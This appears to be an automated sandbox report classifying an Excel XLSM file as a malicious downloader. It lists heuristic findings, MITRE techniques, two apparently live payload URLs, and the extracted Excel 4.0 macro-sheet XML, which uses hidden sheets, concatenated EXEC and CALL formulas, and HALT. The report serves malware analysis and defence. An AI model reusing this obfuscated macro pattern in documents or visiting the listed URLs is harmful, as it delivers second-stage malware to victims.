MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is an XLSM document containing Excel 4.0 macros, indicated by multiple critical heuristic firings. The macros utilize dangerous functions like EXEC and CALL, which are used to construct and execute commands. Specifically, the EXEC function appears to be assembling a URL from concatenated strings, likely to download a second-stage payload. The CALL function is also used to execute code, potentially from a remote source. The presence of these functions and the embedded URLs strongly suggest a downloader or initial execution stage for further malicious activity.
Heuristics 4
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Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
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Dangerous XLM formula APIs: WORKBOOK.HIDE, EXEC, CALL, HALT, FORMULA critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://extendonetwork.com/puZyLuatL0W/04.html In document text (OOXML body / shared strings)
- https://jarettwalen.com/vspeL07tgk5F/04.htmlIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
emf_00.emf442eb38c1c88060cf62c1fd88f48f9b8961edd687fe9250cf42ff79baf20ccae |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 296536 bytes |
xlm_sheet_00.xmle2d0c69c580969a640d565ee7f4c9f99c84cac5b5d64c997ece3e584778305c8 |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 1638 bytes |
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BG41:BG44"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="58" max="58" width="4.5703125" customWidth="1"/><col min="59" max="59" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="41" spans="59:59" x14ac:dyDescent="0.25"><c r="BG41" t="b"><f>WORKBOOK.HIDE("Sheet1",1)</f><v>0</v></c></row><row r="42" spans="59:59" x14ac:dyDescent="0.25"><c r="BG42" t="b"><f>WORKBOOK.HIDE("Sheet2",1)</f><v>0</v></c></row><row r="44" spans="59:59" x14ac:dyDescent="0.25"><c r="BG44" s="1" t="b"><f>EXEC(Sheet2!BD22&Sheet2!BD23&Sheet2!BD24&Sheet2!BD30&"2 "&Sheet2!BC10&Sheet2!BF31&Sheet2!BC23&Sheet2!BC24&Sheet2!BC25&Sheet2!BC26)=9844+54649+946654=EXEC(Sheet2!BD22&Sheet2!BD23&Sheet2!BD24&Sheet2!BD30&"2 "&Sheet2!BC9&Sheet2!BF31&Sheet2!BC23&Sheet2!BC24&Sheet2!BC25&Sheet2!BC26)=6984546+464984=Sheet2!BG8()=4984+948645+96464</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
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xlm_sheet_01.xmlbc0107a78ea6ba702702ddf8b745f24672051acbfa84cd527ab65f9785d5a729 |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet2.xml | 3777 bytes |
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A4:BK134"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="50" width="4.5703125" style="1"/><col min="51" max="51" width="4.5703125" style="1" customWidth="1"/><col min="52" max="63" width="4.5703125" style="1" hidden="1" customWidth="1"/><col min="64" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="4" spans="52:63" x14ac:dyDescent="0.25"><c r="BK4" s="1"><f>CALL(Sheet2!AZ15,Sheet2!AZ16,Sheet2!AZ17,0,AZ9,BC9,0,!AL21)</f><v>0</v></c></row><row r="5" spans="52:63" x14ac:dyDescent="0.25"><c r="BK5" s="1" t="b"><f>CALL(Sheet2!AZ15,Sheet2!AZ16,Sheet2!AZ17,0,AZ10,BC10,0,!AL21)=Sheet1!BG40()</f><v>1</v></c></row><row r="9" spans="52:63" x14ac:dyDescent="0.25"><c r="AZ9" t="s"><v>25</v></c><c r="BC9" s="1" t="s"><v>23</v></c></row><row r="10" spans="52:63" x14ac:dyDescent="0.25"><c r="AZ10" t="s"><v>26</v></c><c r="BC10" s="1" t="s"><v>22</v></c></row><row r="12" spans="52:63" x14ac:dyDescent="0.25"><c r="BG12" t="b"><f>HALT()</f><v>1</v></c></row><row r="16" spans="52:63" x14ac:dyDescent="0.25"><c r="BK16" s="1" t="b"><f>FORMULA(Sheet2!BF26&Sheet2!BG26,Sheet2!AZ17)=FORMULA.ARRAY(Sheet2!BE25&Sheet2!BE29&Sheet2!BH28&Sheet2!BE28&Sheet2!BE31&Sheet2!BH29&Sheet2!BF28,Sheet2!AZ16)=FORMULA.ARRAY(Sheet2!BE25&Sheet2!BE26&Sheet2!BE27,Sheet2!AZ15)=BK2()</f><v>1</v></c></row><row r="22" spans="51:60" x14ac:dyDescent="0.25"><c r="BD22" s="1" t="s"><v>0</v></c></row><row r="23" spans="51:60" x14ac:dyDescent="0.25"><c r="BC23" s="1" t="s"><v>1</v></c><c r="BD23" s="1" t="s"><v>2</v></c><c r="BF23" s="1" t="s"><v>3</v></c></row><row r="24" spans="51:60" x14ac:dyDescent="0.25"><c r="BC24" s="1" t="s"><v>4</v></c><c r="BD24" s="1" t="s"><v>5</v></c></row><row r="25" spans="51:60" x14ac:dyDescent="0.25"><c r="BC25" s="1" t="s"><v>6</v></c><c r="BE25" s="1" t="s"><v>7</v></c></row><row r="26" spans="51:60" x14ac:dyDescent="0.25"><c r="BC26" s="1" t="s"><v>8</v></c><c r="BE26" s="1" t="s"><v>9</v></c><c r="BF26" s="1" t="s"><v>10</v></c><c r="BG26" s="1" t="s"><v>11</v></c><c r="BH26" s="1"><v>0</v></c></row><row r="27" spans="51:60" x14ac:dyDescent="0.25"><c r="BE27" s="1" t="s"><v>12</v></c></row><row r="28" spans="51:60" x14ac:dyDescent="0.25"><c r="BE28" s="1" t="s"><v>13</v></c><c r="BF28" s="1" t="s"><v>14</v></c><c r="BH28" s="1" t="s"><v>15</v></c></row><row r="29" spans="51:60" x14ac:dyDescent="0.25"><c r="BE29" s="1" t="s"><v>16</v></c><c r="BH29" s="1" t="s"><v>17</v></c></row><row r="30" spans="51:60" x14ac:dyDescent="0.25"><c r="AY30"/><c r="BD30" s="1"><v>3</v></c></row><row r="31" spans="51:60" x14ac:dyDescent="0.25"><c r="AY31"/><c r="BE31" s="1" t="s"><v>18</v></c><c r="BF31" s="1" t="s"><v>19</v></c></row><row r="32" spans="51:60" x14ac:dyDescent="0.25"><c r="AY32"/></row><row r="33" spans="56:57" x14ac:dyDescent="0.25"><c r="BD33" s="1"><v>0</v></c><c r="BE33" s="1"><v>0</v></c></row><row r="131" spans="1:2" x14ac:dyDescent="0.25"><c r="A131" s="1" t="s"><v>20</v></c></row><row r="134" spans="1:2" x14ac:dyDescent="0.25"><c r="B134" s="1" t="s"><v>21</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet> |
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